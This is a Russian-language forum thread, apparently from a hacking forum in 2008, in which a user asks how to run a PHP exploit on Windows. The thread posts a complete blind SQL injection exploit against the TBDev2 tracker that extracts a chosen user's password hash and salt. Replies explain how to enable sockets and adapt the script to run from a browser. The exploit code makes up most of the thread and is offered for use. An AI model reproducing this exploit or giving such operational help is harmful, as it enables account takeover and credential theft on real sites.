Php-cli...

Discussion in 'PHP' started by ikolla$$, 25 Sep 2008.

  1. ikolla$$

    ikolla$$ Banned

    Joined:
    6 Apr 2008
    Messages:
    80
    Likes Received:
    27
    Reputations:
    5
    Вот тема /thread79705.html
    Там есть сплойт написаный на ПХП.Мне нады его запустить.Как это осуществить.Знаю что в дистр установщика ПХП должон быть файл рhр-cli.exe но у меня его нет (5.2.6...)
    Кто помогет?Дайти ссыль под Виндовса.
     
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Чето путаешь
     
  3. ikolla$$

    ikolla$$ Banned

    Joined:
    6 Apr 2008
    Messages:
    80
    Likes Received:
    27
    Reputations:
    5
    Что именно?
    Вот как етно запустить на винде....??
    Code:
    <?
    
    //TBDev2 Blind SQL Injection Exploit by Qwazar
    //Greets: +toxa+ & antichat.ru 
    
    set_time_limit(0);
    ignore_user_abort(1);
    Error_Reporting(E_ALL & ~E_NOTICE);
    
    function getcookie($url, $name, $password){
    	$res = send_xpl($url,"takelogin.php?username=$name&password=$password");
    	preg_match("/Set-Cookie: uid=(\d+)*;/", $res, $matches);
    	$uid=$matches[1];
    	preg_match("/Set-Cookie: pass=([\w+\d+]{32});/", $res, $matches);
    	$passhash=$matches[1];
    	$res = "uid=$uid; pass=$passhash;";
    	if(isset($uid)&&isset($passhash))
    		return $res;
    	else
    		return -1;
    }
    
    function send_xpl($url, $xpl){
    	global $id;
    	global $cookie;
    	$u=parse_url($url);
    	$req ="GET ".$u['path']."$xpl HTTP/1.1\r\n";
    	$req.="Host: ".$u['host']."\r\n";
    	$req.="Cookie: $cookie\r\n";
    	$req.="Connection: Close\r\n\r\n";
    	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
    	fwrite($fs, $req);
    	while (!feof($fs)) {
      		$res .= fread($fs, 8192);
    	}
    	fclose($fs);
    	return $res;
    }
    
    function xpl($field, $condition, $pos){
    	global $id;
    	$xpl="requests.php?action=reset&requestid=-1+or+id=if(ascii(substring((select+$field+from+use  rs+where+id=$id),$pos,1))$condition,'1',(select+1+  union+select+2))+--+";
    	return $xpl;
    }
    
    function cond($url, $field, $cond, $pos, $ch) {
    	if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
    		return 1;
    	else
    		return 0;
    
    }
    
    function isVulnerable($url) {
    	if(preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1))))
    		return 1;
    	else
    		return 2;
    }
    
    function getChar($url, $field, $pos, $lb=0, $ub=255) {
    	while(true) {
    		$M = floor($lb + ($ub-$lb)/2);
    		if(cond($url, $field, '<', $pos, $M)==1) {
    			$ub = $M - 1; 
    		}
    		else if(cond($url, $field, '>', $pos, $M)==1) {
    			$lb = $M + 1;
    		}
    		else
    			return chr($M);
    		if($lb > $ub)
    			return -1;
    	}
    }
    
    if($argc<4)
    {
    echo "==================\r\n";
    echo "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
    echo "==================\r\n";
    die();
    }
    
    $url=$argv[1];
    $id=$argv[2];
    $name=$argv[3];
    $password=$argv[4];
    
    echo $url.":".$name.":".$password."\r\n";
    
    echo "Trying to get your cookies... ";
    $cookie = getcookie($url, $name, $password);
    if($cookie!=-1)
    	echo "[DONE]\r\n";
    else
    	die("Can't get cookies.. Pass incorrect?\r\n");
    
    if(!isVulnerable($url))
    	die("Exploit failed: Target is not vulnerable");
    
    echo "Trying to get passhash: ";
    for($i=1;$i<=32;$i++){	
    	$c = getChar($url, "passhash", $i, 47, 103);
    	if($c==-1)
    		die("\r\nExploit failed\r\n");
    	else 
    		echo $c;
    }
    echo " [DONE]\r\n";
    
    echo "Trying to get salt: ";
    for($i=1;$i<=20;$i++){	
    	$c = getChar($url, "secret", $i);
    	if($c==-1)
    		die("\r\nExploit failed\r\n");
    	else 
    		echo $c;
    }
    echo " [DONE]\r\n";
    
    
    ?>
    
     
  4. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    Сокеты включи в php.ini
     
  5. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,028
    Reputations:
    1,228
    Замени
    PHP:
    $url=$argv[1];
    $id=$argv[2];
    $name=$argv[3];
    $password=$argv[4];
    на
    PHP:
    $url=$_GET['url'];
    $id=$_GET['id'];
    $name=$_GET['name'];
    $password=$_GET['password'];
    и
    PHP:
    if($argc<4)
    {
    echo 
    "==================\r\n";
    echo 
    "Using tbdev2sql.php url target_id login password\r\n  target_id - id of target member\r\n  login, password - login and password of any existing account\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1 Alex Password\r\n";
    echo 
    "==================\r\n";
    die();
    }
    замени на
    PHP:
    echo '<pre>';
    и можешь запускать из браузера
     
    _________________________